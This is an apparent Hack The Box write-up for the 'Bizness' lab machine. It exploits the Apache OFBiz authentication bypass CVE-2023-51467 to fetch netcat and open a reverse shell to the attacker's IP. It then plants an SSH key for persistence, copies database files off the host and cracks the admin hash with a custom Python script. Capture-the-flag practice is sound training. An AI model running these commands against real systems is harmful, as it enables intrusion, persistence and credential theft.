Bizness HTB
IP
10.129.177.4
initial nmap scan
sudo nmap -p- --min-rate 10000 10.129.177.4 | cut -d"/" -f1 | tr '\n' ','
results
22,80,443,42275
Lets run a more in-depth scan of the target
sudo nmap -sCV -p22,80,443,42275 -oA tcp_ports 10.129.177.4
results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
42275/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Looks like we have
Domain name: `https://bizness.htb/` we can add this to our hosts file
nginx 1.18.0: vulnerable to CVE-2020-12440 (HTTP Request Smuggling)
both HTTP and HTTPS
For good measures we will also run a UDP nmap scan
sudo nmap -sU -oA udp_ports 10.129.177.4
results
After we have adit our hosts file lets check out the HTTP site
we can see the following

if we scroll to the bottom of the web page we can see the following

what is Apache OFBiz?
is an open-source enterprise resource planning system
is it vulnerable?
Possibly as we dont have the version number, we can make an educated guess, this box was created this year (2023) and there is a vulnerable version of this software that was found in 2023, what we can do is utilize the following scanner and check if it is indeed vulnerable to the CVE-2023-51467
Tool
After we have cloned the tool lets install the requirements.txt
sudo pip3 install -r requirements.txt
Now lets run the scanner
sudo python3 exploit.py -u http://bizness.htb
sudo python3 exploit.py -u https://bizness.htb
And the scanner says our target is vulnerable


Now what is CVE-2023-51467?
this security flaw enables attackers to bypass authentication authentication, leading to SSRF (Sever Side Request Forgery) exploit. When sending a web request to the specific path
/webtools/control/ping?USERNAME&PASSWORD=test&requirePasswordChange=Y
we can confirm this by navigating to to the specified url

we can use the following script to gain a shell on the target
Okay so the plan is
we want to copy
nc
into our directory where we will host a python3 server so
cp /usr/bin/nc ./
Lets start the python server
python3 -m http.server 80
Lets run the exploit script and specify to use wget and install nc on the system
python3 exploit.py --url https://bizness.htb --cmd "wget http://10.10.16.29/nc"
Now we want to start a nc listener to catch the reverse-shell
rlwrap -cAr nc -lvnp 9010
Now we want to execute nc on the target to establish a reverse-shell back to our local machine
python3 exploit.py --url https://bizness.htb --cmd "nc 10.10.16.29 9010 -c /bin/bash"
we now have a shell on the system

Lets upgrade our shell
python3 -c "import pty;pty.spawn('/bin/bash')"
Lets get some persistence on the machine
Lets create the
.ssh/authorized_keys
file and directory in the user ofbiz home directory
cd /home/ofbiz/
mkdir .ssh
touch authorized_keys
Now that we have
/.ssh/authorized_keys
Lets create our pivate and public key pair usingssh-keygen
on our local machine
ssh-keygen # follow the prompts
we should now have our
id_rsa
andid_rsa.pub
we want to copy and paste our public key over to the machine
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwly5g0PTaafdiHTkggJoQEBXrN7PeeDpdawZneVJoUVdrDRvIYBHSZpIkDweoZirMHBDsL3BD9lKfmDnIqnVzmKsgFZ702YvXVKzzCqTN7bqo5/zzj2/nsF6LUDu0wUGlxRec+H5WVRUSD0S/W0kTaJKRpI6kjN5PedadQXiByJzxAfdGrBnItLxE5Bdk4LzLOr/v7lcLPUefi2bMTld339HOCaCO/uDoPsJqStFVwL7XVuiMhLLdzteoKKXi+7IKuPwN94yhULH8Pgecz2fGcF8sC3UBcdh/QAa180SW/1dRRemeqhdNg7PXPfGhZFjng5GOh3gYCps9D6+cQ5DY961m+fN7cv/rytNF+wkb1T8YZIIKSJb6wUm2/I0c7WPa/fYt8ZfznJ+ACD8Y+QvIFr1fOSgs+4QlwtZfNAW/+KN38DzyQba6QGY+2l6LTJuvtPRiWueXRiRvOoqj6ksouS5S5qwx31X3gx67TvtW9iW/QeNI9bFWNRTwRuLSbHc=" > authorized_keys
give the appropriate permissions to our private key
chmod 600 id_rsa
Now we should be able to login via ssh and our private key
ssh -i id_rsa ofbiz@10.129.177.4

this should make it abit easier to enumerate the system
lets check for SUID files
find / -type f -perm /4000 2>/dev/null
nothing interesting
any internal ports listening
netstat -ano
nothing interesting
Lets save some time and download and run linpeas.sh
and see if we can automate some of this
cd /tmp
wget http://10.10.16.29/linpeas.sh
/bin/bash ./linpeas.sh
for good measure lets run it again but place the output to the file linpease.txt
(i know i miss spelled it but didnt want to wait for it to execute again 😂)
target machine
bash ./linpeas.sh > linpease.txt
local machine, we will use scp
scp -i .ssh/id_rsa ofbiz@10.129.177.4:/tmp/linpease.txt ./
this way we can still have the highlights, rather then copy and paste it onto our local machine
Couldnt find anything within linpeas except for what i believe to be a rabbit hole

Lets search for file types and see if we can find anything
we did find something interesting while searching for xml files
find / -type f -name '*.xml' 2>/dev/null

looking through the file we do find a hash
47ca69ebb4bdc9ae0adec130880165d2cc05db1a

unable to crack it back to the drawing board
looking back in the linpeas output we can see the presence of derby

What is derby?
also known as Apache Derby, is an open-source database management system (RDBMS) that is implemented in Java
Why is this interesting?
we could possibly be able to enumerate sensitive information from the
.dat
files within the derby directory, keep in mind these data files, so to find anything interesting we would need to use a tool likestrings
to find anything interesting
Lets search for .dat
files
find / -type f -name '*.dat' 2>/dev/null

we can see majority of the .dat
file are coing from the /opt/ofbiz/runtime/data/derby/ofbiztenant/seg0/
directory
Lets copy all these files into a single .txt
file and copy it to our local host
target machine
cat /opt/ofbiz/runtime/data/derby/ofbiz/seg0/* > dat_files.txt
local machine
scp -i .ssh/id_rsa ofbiz@10.129.177.4:/tmp/dat_files.txt ./
Now that we have a copy of the .dat
files on our local host lets see if we can find anything interesting with strings
after a couple of attempts we can find a SHA-encrypted password for Admin
strings dat_files.txt | grep SHA

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
Lets see if we can crack it
hashcat -m 100 admin_hash /usr/share/wordlists/rockyou.txt
no luck, but this has to be the admins password right?
after abit of googling I found the ofbiz GitHub repo where we can actually see HashCrypt.java
functions
from this we can write a python script to encrypt each line in rockyou.txt
and compare it to our hash
import hashlib
import base64
import os
from tqdm import tqdm
class PasswordEncryptor:
def __init__(self, hash_type="SHA", pbkdf2_iterations=10000):
"""
Initialize the PasswordEncryptor object with a hash type and PBKDF2 iterations.
:param hash_type: The hash algorithm to use (default is SHA).
:param pbkdf2_iterations: The number of iterations for PBKDF2 (default is 10000).
"""
self.hash_type = hash_type
self.pbkdf2_iterations = pbkdf2_iterations
def crypt_bytes(self, salt, value):
"""
Crypt a password using the specified hash type and salt.
:param salt: The salt used in the encryption.
:param value: The password value to be encrypted.
:return: The encrypted password string.
"""
if not salt:
salt = base64.urlsafe_b64encode(os.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${self.hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def get_crypted_bytes(self, salt, value):
"""
Get the encrypted bytes for a password.
:param salt: The salt used in the encryption.
:param value: The password value to get encrypted bytes for.
:return: The encrypted bytes as a string.
"""
try:
hash_obj = hashlib.new(self.hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computing hash of type {self.hash_type}: {e}")
# Example usage:
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = '/usr/share/wordlists/rockyou.txt'
# Create an instance of the PasswordEncryptor class
encryptor = PasswordEncryptor(hash_type)
# Get the number of lines in the wordlist for the loading bar
total_lines = sum(1 for _ in open(wordlist, 'r', encoding='latin-1'))
# Iterate through the wordlist with a loading bar and check for a matching password
with open(wordlist, 'r', encoding='latin-1') as password_list:
for password in tqdm(password_list, total=total_lines, desc="Processing"):
value = password.strip()
# Get the encrypted password
hashed_password = encryptor.crypt_bytes(salt, value.encode('utf-8'))
# Compare with the search hash
if hashed_password == search:
print(f'Found Password:{value}, hash:{hashed_password}')
break # Stop the loop if a match is found
this will identify the password and from here we can
su root # password
and we are root

Last updated